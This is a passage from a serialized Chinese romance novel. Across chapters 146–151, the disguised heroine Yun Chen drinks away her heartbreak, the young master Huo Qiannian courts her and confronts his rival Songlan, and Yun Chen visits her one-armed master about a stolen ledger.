任那烈马如何嘶鸣吼叫,扬蹄甩背,霍乾念只如鹰爪一般,一手稳攥缰绳,一手牢牢抓着马鬃**,身子灵巧地随马身不断仰起又重重压下。
他一边不断收紧缰绳,一边驯马大喝,扯得马鬃**成片脱落,甚至冒出血。
饶是如此,他眉头都没有皱一下,头发都没有乱一丝。
众人围观着比擂台比武还精彩的驯马,最终看那屠狼驹仰天长鸣一声,慢慢平静下来,开始任由霍乾念摆布。
人群发出感叹:
“漂亮!!”
“烈马果然还得狠人驯呐!!”
霍乾念拍了拍马脖子,以示安抚,屠狼驹微微侧头,鼻子里发出轻啼,表示挺受用。
随后,他猛拉缰绳,跃马跳下擂台,吓得众人纷纷躲避,连连惊呼,只留云琛还愣在原地。
霍乾念骑在高大的屠狼驹上,鲜衣怒马,气宇轩昂,牵马绕着云琛走了起来。
哒哒的马蹄声环在云琛身边,他炙热并带着侵略性的眼神也环着她打量,叫她根本不敢与之对视。
转了两圈,他跳下马,将缰绳递进云琛手里,用那双熠熠生辉的凤眸望着她的眼睛。
“这马叫霍云,送你。”
第146章 坏人活千年
霍乾念说,那马叫“霍云”。
为什么偏偏叫霍云?
不对,他自己为啥要叫霍云啊?天底下字那么多,他为**偏偏要选“云”字呢?
云琛想不通,郁闷地坐在客栈大堂里喝酒。
明明她表白之后,霍乾念便是那样一副冷脸,凭一个什么有的没的机密信函,将她逐出霍帮。
她用命换来的风灼草,是菘蓝拿去的,他若不是对菘蓝有情,又怎会痊愈呢?
可为什么他又要化名霍云?
她回想起过往种种,他那忽冷忽热的温柔,忽近忽远的样子,真是叫她欢喜又痛苦。
“唉……”
叹了十八口气,她半坛酒都没喝完。
好像所有眼泪都堵在嗓子眼,让她既张不开嘴吐出来,又闭不上口咽下去。
客栈仍旧客满,无处可过夜。
云琛打算趴在桌上睡一夜得了,等天一亮就走,趁身份没暴露,离霍乾念那坏家伙远一些最好。
见她心情不好,小二道:
“王公子,我们家掌柜养了两只孔雀在后院,你若心情不佳,可以去瞧瞧新鲜。眼下入春,正是公孔雀开屏求偶的时候,可好看了!”
她无精打采道:“没兴趣……就是凤凰开屏求偶,我也没心思看。”
过了一会儿,等大堂里所有客人吃饱喝足离开,霍乾念来了。
他跟要上台选美似的,又换了一身鲜亮衣服。
黄栌色的立领长袍,项间带着羊脂玉镶红宝石的项圈,衬得他下颌白皙分明,煞为好看。
他在她对面坐下来,也不说话,只是弯着那双好看又勾人的凤眸瞧着她。
不知为何,云琛就是不想搭理他,趴在桌子上别过头去,看都不看他一眼。
他惬意地喝两口茶,将一盘新做的乌梨酥推到她鼻子底下。
一股暖烘烘、香甜甜的味道钻进她鼻子。
他说:“我让护卫给了小二一份乌梨酥的制法,是我府里小厨房的法子,你尝尝。”
她并不起身,只抬手胡乱摸起一块,塞进嘴里。
吃着那熟悉的久别的味道,她鼻头有点发酸,小鸵鸟似的将脸深深埋进胳膊里。
他看着愈发好笑,问道:“昨夜王兄可是在思念心上人?”
“嗯……只是我的心上人并不思念我,他有自己的心上人。”她声音嘶哑,带着可以察觉的哽咽。
这下他笑不出来了,沉默许久后,他问:
“这话,你亲耳听他说的吗?”
一瞬间,那些百般复杂的委屈,全部涨到了她心口。
被冤枉赶出府的**,盗取风灼草的九死一生,几百个思念着他他却思念着别人的日日夜夜……
一幕幕都是她的心,一幕幕都是**的情啊……
再也忍不住,她猛地坐起身,用带着些许哭腔的声音大声道:
“何必亲耳去听?受这番滋味?非得他和他的心上人手挽着手站在我面前才要作罢?我未免活得太屈了些!人人都说他要成婚了,那是他门当户对的心上人!是他的大恩人!那我便道声‘恭喜’,走远些就是!”
似乎是第一次见她发脾气,看着她委屈巴巴又气鼓鼓的样子,他只觉得那模样实在可爱又惹人怜。
他眼神亮盈盈地看着她,眼眸生暖,唇角轻扬,像是对她的火气全盘照单全收,倒叫她一腔怨言吐得干净,一下子好受许多。
理智尚在,她摸摸脸上的易容面皮,不想再多说下去,以免暴露身份。
她重新坐下,一口接一口地咬乌梨酥,吃得腮帮子都鼓起来。
他将一杯清茶举到她面前,哄孩子似的温声道:
“喝点茶顺顺,别噎着。”
许是他声音太暖的缘故,她莫名脸颊又有些发热,心里开始气自己真没出息,狠狠一把夺过茶杯,喝酒似的一口仰头干尽。
她重重将茶杯杵在桌上,“霍公子,我帮不了你。借你……‘霍云’,算了,借你慢行种一用,我会将它留在下一城锵城的驿站——你别再跟着我。”
说完她便提起酒坛,大步往大堂外走去。
自始至终,她都没有再看他一眼。
她走进马棚,拽住又一次春宵过后,仍在你侬我侬的慢行种。
她啐了旁边眼神无辜的“霍云”一口,将慢行种的母马拉出来,对公马说句“抱歉借你媳妇儿一用
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”,随即翻身上马,大力一夹马肚子,朝城外奔去。
慢行种行路极慢,尽管她大力驾马,还是跑得不快。
她干脆扔下马,自己扛着酒坛子轻功飞奔。
黑夜里,她看不清前路,只是闷头往前冲,一直跑到力竭停下为止。
她撑着酒坛,剧烈地喘息。
扭头看去,后方是黑洞洞的山林小路,霍乾念并没有追过来。
心里酸得紧,又有些痛快,她寻了个能瞧见月光的地方坐下,一个人抱着酒坛子开始大口大口地喝。
因为方才跑得太猛,呼吸还急促的缘故,她几口酒下去呛得直咳嗽,眼泪鼻涕糊了一脸。
她摸着脸上的易容面皮,再也绷持不住,抱着膝盖哭起来。
“就哭最后一次,哭完便不准再哭了!”
“世上男人又不止他霍乾念一个!颜十九不就挺好的!花绝也挺好!不言也挺好的!”
“云琛啊云琛,可别没出息……”
她自言自语,一口接一口地灌酒,一会哭,一会笑,心里空落落的,难受极了。
不知喝了多久,大概伤心易醉,等她晕乎乎倒在地上,又晕乎乎醒来的时候,只感觉趴在一个宽阔坚实的后背上,她仿佛瞅见背她的人穿着黄栌色的衣裳。
她抬手去揪那人的耳朵,醉醺醺问:
“你谁啊?”
那人并不躲她的手,反而偏头在她手上亲了一口,轻声道:
“我是你的心上人。”
温热的气息轻挠她的手,酥酥麻麻的。
她嫌弃地躲开手,将他吻的地方,用力在屁股衣服上擦擦,不高兴道:
“你才不是……我……我心上人是……是霍乾念……那个坏人霍乾念……”
他笑起来,没有说话。
她仿佛听见小二的声音插嘴进来:
“坏人活千年?王公子恁也是禾南人?咋喝得这多?喝得劲了吧?”
她顾不上回答,感觉胃里一阵阵翻涌,喝下去的酒就快从嗓子眼里出来了,只能摆摆手。
见状,小二问道:“霍公子,要不要给王公子煮点醒酒汤?”
“有劳。”霍乾念背着云琛往客房走。
第147章 浑水摸鱼的家伙
云琛趴在霍乾念的背上,一路醉醺醺地叫着“坏人”“坏人”。
叶峮循声走进客房,忍不住笑道:
“少主,这小家伙肯定伤心急了,否则不会轻易喝高的。”
“我知道。”霍乾念轻手轻脚地将云琛放在榻上。
叶峮赶忙打来水,轻轻揭下云琛脸上的易容面皮,忙着清洗晾干,同时冲房梁黑暗处叫道:
“你小子赶紧下来打盆水,少主好给阿琛擦洗!”
一道黑影随即轻盈落下。
不言跳下房梁,快速打来水,蹲在已醉得不省人事的云琛面前仔细打量,兴奋道:
“这几日憋死我了!我可太想给阿琛一个过肩摔以示问候!才不枉费我给全城的马下拉肚子药!”
“你有我难憋?我好几次差点笑出声,哈哈!”叶峮将重新洗好的面皮拿过来,正准备为云琛再覆上,霍乾念却伸手接过,示意稍后。
见霍乾念一点点仔细又轻柔地为云琛擦拭小脸,注视着云琛的那双眼睛都快拔不出来了,叶峮心领神会,拽着没眼色的不言往外走。
不言有点奇怪怎么留霍乾念照顾云琛,但也没多问,揽着叶峮胳膊,邀功道:
“叶哥,这次找到阿琛这事儿,怎么也得给我记一大功吧?多亏那天夜里我发现有人潜入府,准备去迎战时,才发现来人竟然是阿琛!那个值守的小暗卫也太差劲了,阿琛都说是去看少主的,他也不给我们通报一声!得亏我就在旁边藏着呢!不然还不知要和阿琛分别多久呢!”
叶峮给了不言头上一下,“要不是看在这功劳,你大半夜擅离职守跑去逛黑市,我非扣你月钱!”
“这不是所有人都在庆祝少主腿疾痊愈嘛!瞧你整的满府红花红绸,还贴‘喜’字,府门口俩石狮子都打扮得跟过年似的,我就琢磨买点啥稀罕玩意,送给少主呗!”
叶峮和不言的声音逐渐走远,小二随后送来一碗醒酒汤,也伶俐地关好门离开。
客房里只剩霍乾念和云琛。
云琛醉得小脸红扑扑的,面容熟睡,安静得像个孩子。
霍乾念拿起帕巾,一点点拭去她眼角的泪痕,还有易容面皮残留在脸上的轻微痕迹。
擦了两遍,她似乎很不满意有人扰她睡觉,醉醺醺地嘟囔了一句:
“我要睡觉……要睡……”
瞧她那睡得糊里糊涂,嘴里嗫嚅不停的稀罕模样,他心里一痒,侧耳靠近她,明知故问地使坏道:
“要什么?水吗?好,我给你。”
她小眉头微皱,吐字不清地又说了一个字:“睡……”
接着立刻被两片温热堵住了所有字眼。
他含着一小口醒酒汤,两手撑在她上方,俯身吻住她的唇,将汤水一点点送进她口中。
微甜又带着梅子味的汤水一点点进入,还有一条软绵绵的舌头浑水摸鱼,也跟着滑进她的口。
她猝不及防被喂下水,不禁身子一颤,无意识地微微仰头去迎合,一口接一口地含着他的舌头吞咽,不自觉地发出微微旖旎的哼唧声。
他一小口又一小口地喂她,强按耐着体热躁动,手里已快将被褥抓烂,几乎就要控制不住自己。
缱绻又绵长的吻,他只想再深入些,再索取些,这甜怎么也吃不够,每一口都让他欲罢不能,不知何为餍足。
不知吻了多久,一碗醒酒汤早已见底,他还舍不得离开她的唇。
直到她醉得彻底呼呼大睡,一点回应都没有了,他才终于慢慢冷静下来。
梦中,她隐约听见一个充满欲念的声音喘着气息,轻轻咬着她的耳朵:
“琛儿,再等等我……”
这一夜
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,春短,梦长。
第二天,云琛一直睡到日上三竿才醒,不由感叹这丹阳城的酒挺实在,虽烈但不伤人,她宿醉醒来哪里都不难受,是好酒。
唯一不好的就是,喝了这酒爱做春梦,一做就是一晚上。
她坐在床边,回忆起昨晚断断续续的梦,不禁脸红心跳,羞得不能自已。
下一刻打量四周,她发现自己是睡在霍乾念和叶峮的房间里。
估计昨夜十有**是叶峮在照顾醉酒的她,这是护卫常做的事。她赶忙去摸脸上的易容面皮,感觉仍旧妥帖,才轻轻松了口气。
霍乾念和叶峮不在,她想着不管怎样,承了别人醉酒照拂的情,霸占了人家屋子睡,总该去说点什么。
“道个谢就走,嗯,就这样!”
她像是在叮嘱她自己,而后快速梳洗下楼。
走下楼梯转角,她看见大堂里的众食客围成圈,贴着墙根排排坐,神色好奇又敬畏地看向堂中。
几十个带刀侍卫的大阵仗中间,坐着美艳端庄的菘蓝。
菘蓝对面,则是霍乾念不紧不慢地吃着午饭,叶峮站立在他身后护卫。
菘蓝用撒娇的语气埋怨道:
“你迟迟不回京都就算了,怎么离开烟城也不同我说呢,叫我一顿好找。”
霍乾念眉眼不抬,吃着米饭,“嗯”了一声。
“公主的意思是,账本的事情不能再拖了。”
“嗯。”
“你若觉得难,我可以去公主面前再转圜些,公主会允的。”
“嗯。”
“我知道你闷得很,想出来走走,不过眼下实在忙,你再玩两日便跟我回去吧。”
“嗯。”
看说了这么多,霍乾念脸色尚可,菘蓝抿嘴一笑,语气亲昵地说:
“丹阳城好玩吗,你带我转转吧,阿念。”
第148章 正宫娘娘
听到菘蓝嘴里出来“阿念”两个字时,叶峮清楚地看见,原本正端了杯子喝茶的霍乾念,立刻手中顿住,咬了下后槽牙。
霍乾念放下茶杯,抬眼面无表情地直视着菘蓝,既不说话,也不发火,却叫菘蓝有些发怵。
她避开霍乾念的眼神,带点讨好又带点尴尬地笑笑:
“我记得了,要称你‘霍少主’,行了吧。”
霍乾念收回眼神,继续吃饭。
这时,叶峮注意到一旁楼梯上的云琛,瞧着那小脸僵白,脚下已做好逃跑的准备,他不动声色地碰了下霍乾念后背,赶忙大声道:
“呀!王公子你终于睡醒了?快来用饭吧,应该都是您爱吃的!”
一瞬间,大堂里所有人都齐刷刷看向云琛。
后者只能止住转身要走的步子,在所有人的注目中缓缓走下楼梯。
她站在桌子边,正犹豫该坐哪里,霍乾念已为她盛好咸粥,放在与他同侧的桌子上,拍拍他身边的位置,暖声道:
“王兄,来坐。我点了些腌渍小菜,酸爽可口,清脆下饭,最为解酒了。”
在菘蓝正宫娘娘一般审视的目光中,云琛慢慢坐下,捧着碗吃起来。
霍乾念毫不避讳周遭人的注目,只嘴边噙着笑,一直偏头看着云琛。
瞧着她吃饭的样子实在乖巧又稀罕,他真想摸摸她的头,捏捏她嫩白的小脸。
菘蓝的眼睛在云琛和霍乾念身上转来转去,打量不停。
明明眼前只是个样貌平平无奇,甚至称得上“难看”的普通男人,可看到霍乾念那根本不加掩饰的笑意,菘蓝就是觉得醋味横生,心里怎么都不是滋味。
菘蓝知道,和霍乾念这样的人,“暗示”“意会”是没用的,他根本不接茬,只有打直球还有点希望。
想到这里,菘蓝撅起那涂着京中最时兴的、十金一克的牡丹口脂的香唇,撒娇地对霍乾念道:
“人家在这坐了半天,也不见你盛碗吃的,我都饿了呢!”
霍乾念不耐烦地皱眉,正要说话,一直没有作声的云琛却突然开口打断:
“这小菜确实不错,酸黄瓜很好吃。”
霍乾念的眉毛由蹙起改为惊讶,眼底泛起浓浓笑意,忙为云琛碗里添一筷子青玉萝卜丝。
看到云琛正在夹两片酸黄瓜,霍乾念很自然地伸出筷子,挑掉酸黄瓜上她不爱吃的姜丝。
二人一边不时说两句话,一边共夹一道菜,偶尔挨在一起笑笑,动作极其自然又亲近,只叫菘蓝坐在一旁晾着,面前桌子光秃秃的,连杯茶都没有。
菘蓝身后的侍卫瞪着叶峮,仿佛用眼神在说:
“快给我们大人上茶啊!”
叶峮晃悠着脑袋看房梁,专注地学习客栈的装修文化知识,只装作什么都没看见。
菘蓝气得暗暗攥住衣裙,深呼吸以平复怒气,勉强露出个微笑,冲云琛道:
“敢问这位公子尊名,小女子菘蓝,见过公子。”
云琛慢条斯理地嚼完、咽下嘴里的饭,放下碗,两手端放在膝盖上,平视着菘蓝,不卑不亢道:
“在下王不行,见过姑娘。”
虽然只是短短一句话,但霍乾念和叶峮全都眼神一亮。
见惯了云琛谨守护卫之责,那遵命服顺的样子,差点让他们忘了,她原本就是个不可小觑的。
正如当年在烟城那竹林深院一般,少年无畏,锋利果决。
这几年风风雨雨过去,云琛身上又添沉稳和大气。
没想到这“陌生男人”会突然起了这么淡定自如的强势气势,菘蓝神色微凛,又问:
“你是什么人,为什么出现在这里?”菘蓝说着又转向霍乾念,“霍少主,如今情势危急,你可要当心,别叫心怀不轨的小人钻了空子。”
霍乾念并不理会菘蓝,只是笑看着云琛,仿佛一个瞧着女儿长大的骄傲慈父,等着看云琛接下来还会说出什么漂亮话。
云琛吃罢,喝口茶清清口,面色如常地问菘蓝:
“你又是何人?何以如此质问我?”
不等菘蓝回答,霍乾念已眉眼带笑,为云琛续上一杯茶,不在乎道:
“她是我同僚。”
霍乾念这句话是冲着云琛说的,那么那
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个“她”字,那个“同僚”便是指菘蓝了。
在“霍乾念将娶菘蓝”的流言传遍全楠国的时候,霍乾念却当着那么多人的面亲口说,菘蓝只是他的同僚,无异于给了菘蓝脸上狠狠一巴掌。
到这里,菘蓝再也忍不住了,呼地一下站起身,扭头就往外走,声音都因为怒意有些尖锐变形。
“霍少主!你要记着,是我带来风灼草医好了你!否则你连坐在这里与你的‘王兄’说话的机会都没有!怎么,霍帮少主是如此薄情寡义之人吗?病愈便弃医?”
不提风灼草还好,一提这三个字,云琛立马想起自己如何差点死在东炎。
菘蓝明明与霍乾念为同盟,却眼睁睁地看着云琛伤重**,甚至还故意将她扔去无人问津、无医可求的偏僻地方。
不管霍乾念是不是因为对菘蓝有情,才用了风灼草便好起来。
至少菘蓝冒领了云琛的功劳,这无可辩驳。
想到这里,云琛“咣”地将茶杯放在桌子上,正要发话,霍乾念却牵过她的手,用帕巾拭去她手上溅到的茶水,嗔怪地说了句“水烫呢,小心些”,而后冲着菘蓝冷笑一声,道:
“有些事,你我心知肚明就行了,何必说出来扰人?望着公主的面子,我不提,劝你也别提。”
“你……”菘蓝心里一慌,只能扔下句“我在城里等你一起走”,然后头也不回地起身离开。
侍卫们乌泱泱离去,大堂里又慢慢恢复平日的热闹。
云琛一直望着菘蓝的背影,不知在想些什么。
霍乾念侧身肘在桌子上,撑着头,饶有兴趣地瞧着云琛那十分正经的模样,忍不住抬手点了下她脑门:
“都走了,别瞧了,理她作甚。”
云琛低头沉默良久,再抬起头来时,像是下定了某种决心。
“你不是问我有没有亲口问过,我的心上人——他心里到底是谁。”
她转头看向他,用那双干净到清澈见底的眼睛,直直望进他心里,一字一句地说:
“你说得对,我应当亲口问问他,亲耳听他说一次。”
第149章 千千万万次为他
云琛说,要亲耳听霍乾念说一次,他的意中人到底是谁?
若那答案不是她,她便从此仗剑天涯不回头,不再有一丝一毫的留恋。
这下霍乾念有点慌了。
从来就没有要去幽州办事这回事情,不过是他为了与云琛同路而行,多相处些日子的借口。
可眼下菘蓝在丹阳城不肯走,非要等霍乾念一起回京都,公主那边的差事也催得紧,账本的事情也迫在眉睫……
他应当拒绝,再装一次不在乎,再叫她伤心一次,却能平平安安,不必再卷入这“霍玉之争”。
可只要一想到上次分别差点成了生死决别,他便觉得胸口疼痛到无法呼吸。
那没有传来任何关于她消息的五十多天,每一日都是绝望和煎熬。
人人都以为,是菘蓝寻来风灼草,治好了他霍乾念的腿疾。
原本霍乾念也是这么以为的。
甚至以为只不过是菘蓝不肯断了对他的心思,便找来什么珍贵草药糊弄一番而已。
叶峮说,既然菘蓝亲自送上门,不如试试,万一有用呢?
周围的花绝、不言和润禾他们,也一个个跃跃欲试迫不及待的样子,霍乾念不好拂众人的意,便道:
“那就试试吧。”
花绝一路小跑去请府医,那年过七十的老头子拿着崭新洁白的药方,又捧着那株深红色的枯草看了半天,狐疑道:
“的确和古书上描画的风灼草一样,可应当是银白胜雪的颜色,不是深红色的呀?”
府医说实在不确定,不如寻齐其他几种药,按药方找来什么白玉的药罐,以荷叶露珠为水,熬煮一下便知。
很快,众人七手八脚备好药方上的东西。
从药罐到草药,除了那深红色的风灼草,样样都是洁白无瑕的,就连烧火煮药的碳,都是不可多得的银丝白木。
按照药方顺序,府医小心地将草药一一放入药罐。
最后一步放入风灼草时,草身遇水即融,原本晶莹洁白的药水瞬间冒出丝丝血红,继而变成一片深红色。
府医见状,失声惊叫:“这……这好像是血将草浸透了啊?”
所有人都凑到药罐子跟前,只见里面红得像是一碗血水,冒着浓浓的血腥气。
叶峮惊道:“瞧这颜色和结块,像是人血啊!”
府医又道:“古书中记载,风灼草确实能吸附人血以滋养草气,若以人血浸枯草,可助药效大长,只不过至少要半斤血才够。”
花绝皱眉:“那女人就这么为少主拼命?还愿意拿血来浸风灼草?可我瞧那药方干干净净,一滴血迹都没有。”
不言接话了:“谁的血?她自己的?如果是旁人的血,谁知道干不干净有没有病?如果是她自己的血,她肯定早就露出伤口来邀功了,怎么一声不吭呢?”
几人七嘴八舌讨论了半天,回头看向一直默不作声的霍乾念,才发现不知何时,霍乾念竟已泪流满面。
从没见过霍乾念掉一滴眼泪,几人都吓呆了。
可霍乾念,财权倾国的堂堂霍帮少主,竟然对着一个药罐子越哭越大声,直至哭得浑身颤抖,泣不成声。
拼命的根本不是菘蓝,是云琛啊……
他知道,那药罐子里的每一滴,都是云琛的血。
都是他心爱的姑娘为他而流……
为了云琛的平安,他狠心将她逐出霍帮,可他怎么舍得她一个人在外面受苦,只能避开公主与玉家重重耳目,将他身边最得利的心腹暗卫陆良派去
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暗中护着她。
那一封封看似寻常的信,最要紧的不过末尾一个“安”字。
直到那布满暗卫的广玉兰洲,陆良进不去,只能守在洲外。
而后,陆良断了信,五十多日杳无音讯,没有关于云琛的消息。
再然后,菘蓝的仪仗队从东炎归来,带回了这株被鲜血染透的风灼草。
他霍乾念可不是傻子,只略一思忖,便知这其中真相。
再命探子潜入东炎查探,听闻皇帝寿辰夜宫中大乱抓刺客,更确信心中想法。
菘蓝是聪明,知道换掉那血迹斑斑的药方。
只可惜她并不知道,那风灼草原本应是雪白颜色,却被云琛的血浸透成红色。
根本不敢想象,云琛到底冒着什么要命的危险,又如何忍着被他驱逐的心痛,才义无反顾地搏命换一草。
究竟要受了多少伤,才会流那么多的血?以至于随便一处都能浸透风灼草。
大概是心口吧。
霍乾念知道,她总喜欢将要紧的东西贴着心口放。
那么云琛还活着吗?还有命再回楠国,站在他面前,笑着喊他一声“阿念”吗……
霍乾念扶着那滚烫的药罐,眼泪落进那浓浓血水,哭得肝肠寸断,久久无法平息……
即使过了这么久,见到云琛如今已四肢健全好端端的,可霍乾念还是觉得心痛难抑,止不住地想落泪。
如果说,这世上只剩一个人可以不顾一切地为他拼命。
可以千千万万次为他一命换一命。
那这个人只会是云琛。
那是他的琛儿,应当平平安安放在他心尖上的人。
想到这里,霍乾念打定主意。
既已到这一步,他断不会再让她涉任何险境。
第150章 无耻小贼偷初吻
二月二十九,丹阳城外二十里。
云琛按照约定的时间,来到城外的翘摇花田,静静等霍乾念赴约。
一过立春,迎春的花儿们都争相开放。
白底托红尖的翘摇花接连成片,俏皮地随风轻摆。
云琛坐在花田里,一会摸摸头发,一会摸摸脸。
那易容面皮带了许久,在脸上留下点红印子,估计得好几日才能消掉。
她琢磨着等会见到霍乾念,她该说些什么,怎么解释这些日子她带着易容面皮,以“王不行”的身份与他相处。
“要不要从被逐出府那一段开始说?怎么也得说个五六万字,说上半个月吧?
算了。要不直接说风灼草是我寻来的,不知道他信不信?
可我拿什么证明风灼草是我寻来的呢?身上的伤都好得差不多了,炎朗的药实在好,疤都没留下,陈年旧疤也消了不少。
哎……再表白一次吗?”
她琢磨来琢磨去,眼见太阳西垂,约定的时辰越来越近,她有点紧张。
很快,太阳彻底落山,只留下一道金色的弧线还照着天际,像是偷偷躲在一旁,等着看一对有情人怎么谈情说爱。
哒哒的马蹄声由远及近,顺着风,云琛轻轻吸动鼻子,立马闻到屠狼驹身上的马骚味。
西北的马壮实,吃得多,跑得快,身上汗味也大,她一下子就闻出来了。
她红着脸,用自己本来的声音叫道:
“‘霍云’该洗澡啦!都快把花熏枯萎啦!”
来人不紧不慢地牵马走近,一张陌生的脸出现在她眼前。
她一愣,“霍乾念呢?”
来人翻身下马,朝她恭敬行礼,道:
“少主说,您交给他、约定在此见面的那幅画,他收到并收藏了。但他有急事回京都,请您先按原定计划去看过您师父,而后四月小满时分,在烟城缥缈岛相见——少主还让把这给您——”
她大失所望,接过沉重的包裹,心里想着会是什么呢?
打开一看,只见一大包沉甸甸的金子,耀得她睁不开眼。
“……”她无话可说。
来人又道:“少主说,路途遥远,您挑好的客栈住,好的东西吃,想买什么便买什么,屠狼驹是烈性护卫马,也留给您。”
这么多金子,她就是一路骑着孔雀走,吃饭都用金银粮,只怕也花不完。
她失望地拨拉着金子,却从中拣出一块山隐月的腰牌。
这东西对她来说,远远比一大包金子稀罕。
有一块山隐月的腰牌,她便能自由出入霍帮啦!
她高兴地拿着腰牌打量,却见这腰牌通体描着金边,看着远不止一克抵十金的样子。
比她从前见的腰牌更重些,做工更大气厚重,好像比极品金梨木还贵重。
来人道:“少主说,这腰牌是霍帮钱庄的最高令牌,您拿着这腰牌,可以在全楠国任何一个霍帮钱庄里使银子,金额无限。”
她瞠目结舌,“他为啥对‘王不行’这么好啊?”
来人笑笑,并不多言语,只将屠狼驹交给她,随后行礼离去。
她与屠狼驹大眼瞪小眼,互看了一会儿,屠狼驹鼻子里哼了一声,颇为不屑。
她拽动缰绳,强迫马转头看着她,摸摸马鬃**,然后拧住屠狼驹的耳朵。
“你这是报复我啐你那口呢?告诉你,大爷我从小在马厩里长大的,驯过的烈马没有一百也有八十,阿哈尔捷金马,‘**红’知道不?那马种算是你表亲,我驯过九匹。”
屠狼驹极通人性,显然听懂了云琛的话,鼻子里又是重重一哼,却拿头去碰她手里的包裹,示意她可以放在它背上。
“算你识相。”她拍拍马脖子,翻身上马。
望了眼丹阳城的方向,她失望叹气,随即调转马头,往幽州方向而去。
走了一个多时辰,天色渐黑,路上的行人越来越少。
她考虑是找间客栈住呢,还是连夜继续赶路。
穿过一条幽深长巷时,四周寂静无人,只有屠狼驹“哒哒”的马蹄踏在石板路上。
不知怎的,屠狼驹总是发出轻蹄,时不时往后看一眼,搞得云琛也频频回头张望。
屠狼驹警戒性很高,嗅觉也发达,但这样子又不像是在警告什么危险。
云琛不明白为什么,只能加快驾马,想尽快走出这黑咕隆咚的巷子。
正走着,一阵暖风吹过,拂动巷子两边的树叶哗哗作响,颇为悦耳。
她正闭眼感受风意,却突然感觉到一个高大的身影急速靠近,一把抱住她跌下马。
那人紧紧抱着她,利落地翻了个跟头落地。
一阵天旋地转后,她身子被压在墙上,四肢被固得牢牢的。
她心头大惊,以为是什么仇家来要命,正要张口大喝,却被两片唇堵得严严实实。
那人狠狠吻住她的唇,连吮带吸,霸道地将舌头伸进来舔舐流连。
一个快速又热烈的吻,快得云琛大脑根本来不及反应。
听得那人呼吸开始变得粗重,云琛终于明白过来自己被占便宜了,立刻大力挣扎,却挣不脱分毫,只能狠狠一口咬下
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去,一股血腥味化在她口中。
本以为被咬了这么狠一口,那人肯定要吃痛放开的,谁知那人只是闷哼一声,竟一口吞下血,更加深入热切地吻了起来。
这么多年来,索命寻仇的云琛经历多了,采花亲嘴儿的她还是第一次!而且自己明明还扮着男子呢!
她吓得发懵,卯足更大的力气咬下去。
那人却瞬间脱离开,只在她脖子上飞快地留下一吻,而后旋风一般地轻功离去了。
不知道是不是她的错觉,她好像听到那人离去之前轻笑了一声,空气中仿佛残留着一点点微不可察的熟悉味道。
一切都发生的太快,云琛呆在原地,甚至都忘了去追,半天才反应过来,连连抠嗓子作呕、吐口水。
“呸呸呸!哪里来的狗占我便宜?!呸呸呸!”
她恨不能将舌头和牙齿都拿出来,洗一百遍再放回嘴里,气得满脸通红,大骂不休。
她又气又郁闷,这可是她的初吻啊!她活了二十多年,还从来没和任何人亲过呐!初吻应当给心上人!怎么给了贼人!
她气得直捶墙,对一旁悠哉看月的屠狼驹大骂:
“你这没用的玩意儿!有人袭击我你都不管?!”
屠狼驹看傻子似的摇摇头,自顾往前走去。
“狗东西!无耻小贼!”
“气死我了!”
“啊!!!好气!!!”
这厢,云琛还在问候那“贼人”的祖宗十八代;
那厢,已经踏上回京路程,却突然换了身寻常衣裳打扮,消失了几个时辰的霍乾念又悄摸回到队伍中。
叶峮瞧着自家少主那春风得意的模样,眉眼俱带着笑,脸上还飞着两抹淡淡的红晕,十有**猜到他干什么去了。
虽然霍乾念没有对任何人说,但也没有刻意在他这个跟随多年的心腹护卫首领面前掩藏。
再结合过往种种,以及霍乾念远远超过对一个心腹护卫的爱护之情,叶峮隐隐猜到,云琛大概是个女扮男装的女子。
注意到霍乾念嘴巴上一大块新鲜的破皮血肿,已经凝结成血痂,嘴角还带着一丝轻佻笑意,叶峮忍不住靠近,露出“严肃关切的沉重”表情,明知故问:
“少主,您的嘴怎么了?”
霍乾念的脸瞬间神动色飞,又很快收敛,不在意道:
“没什么,小狗咬的。”
“哦,那叫大夫开点药吧,当心疯犬病呢!”叶峮忍着笑意说。
霍乾念从眼睛下方撇了叶峮一眼,淡淡道:
“不妨,等多咬几次再说。”
第151章 盗账本
被夺了“初吻”的云琛,一路将屠狼驹驾得飞快,马鞭子抽得啪啪作响。
得亏是皮糙耐寒的屠狼驹,身上连个印子都不见,要换作一般马,铁定得被抽急眼。
就这么日夜兼程地直奔苍海城而去,三月谷雨时,她终于抵达香消崖。
远远地,她看见一个熟悉的黑衣身影在擦拭墓碑,不禁长舒一口气,遥谢江鸣的旧仇人不记仇,她不必去给江鸣收尸了。
她高兴地冲过去喊了声“师父”,想拉着江鸣看看西北烈马屠狼驹,却一把捞空,只摸到一根空空的袖管。
她怔住,“师父,你的胳膊呢?”
江鸣毫不在意,仍旧用那没有感情,也没有什么语调起伏的声音说:
“剁了,一报还一报,还给那人了。”
云琛知道,江鸣说的是当年被他砍断双臂的仇人。
如今江鸣为了南璃君与霍帮之事去求那人,便以一条胳膊还当年血债。
听起来似乎不亏,可摸着江鸣空空的袖管,瞧着他有些苍白的面色,云琛还是忍不住嗷嗷大哭:
“师父你疼不疼啊?有多疼啊?师父………呜呜……我可怜的师父……”
江鸣看了她一眼,没有说话,任由云琛哭天抹泪了半天,两个眼睛哭得核桃一般,才将半湿的袖子从云琛怀里抽出来,道:
“你应当听说账本的事了。我这次去求问可以扭转如今霍玉相争,霍帮局势不利的法子,得知一个足以将玉家连根拔起的东西,就是玉阳基多年来贿赂朝廷官员往来的账本。”
云琛抽抽搭搭地点头,哭腔道:
“已经听说了,到处……到处都在说账本的事情……”
霍玉之争已进入生死局,那记录着玉家贿赂朝中官员往来的账本,是当下最要紧的东西。
江鸣点点头,“我之前已将账本的事情告诉公主。照目前情势看来,公主到处放出风声,估计是想叫朝中玉阳基**通通闭嘴,不敢引火烧身;而后玉阳基定会将那账本放在最贴身重要的地方,一旦有动作,便更容易去偷。
等偷到账本,公主便可以将玉阳基**通通起底,没了官权相护,霍乾念再对付玉阳基就容易了,就看你的少主是徐徐图之还是生吞猛饮了。照你被逐出府之后,这一年多的情势来看,霍乾念大约一刻也不愿多等。”
云琛听得云里雾里,她不太懂这么复杂的情势和盘算,只是不好意思地红了脸,扭捏道:
“师父,啥‘你的少主’呀,你怎么知道的……”
江鸣敲了云琛脑袋一下,训道:
“我说了一大堆,你就听见这四个字?”
“嘿嘿……”云琛笑得小脸红扑扑。
云琛什么心思都写在脸上,江鸣怎会不知。
沉默片刻,江鸣道:
“如今账本就是关键,不知霍乾念如何盘算,怎么去窃账本,兵不血刃是不可能了。不论派谁、怎么派人去,都艰难无比,很可能性命都不保。”
意识到事情的重要性,云琛开始替霍乾念忧愁。
江鸣不动声色地打量云琛,犹豫了一下,还是说:
